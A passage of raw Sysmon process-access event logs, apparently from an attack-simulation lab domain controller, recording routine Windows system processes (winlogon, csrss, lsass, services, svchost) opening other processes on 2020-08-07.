11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","SourceProcessId":"800","SourceThreadId":"1080","SourceImage":"C:\\Windows\\system32\\winlogon.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\SYSTEM32\\dwminit.dll+2d11|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nSourceProcessId: 724\r\nSourceThreadId: 740\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","SourceProcessId":"724","SourceThreadId":"740","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 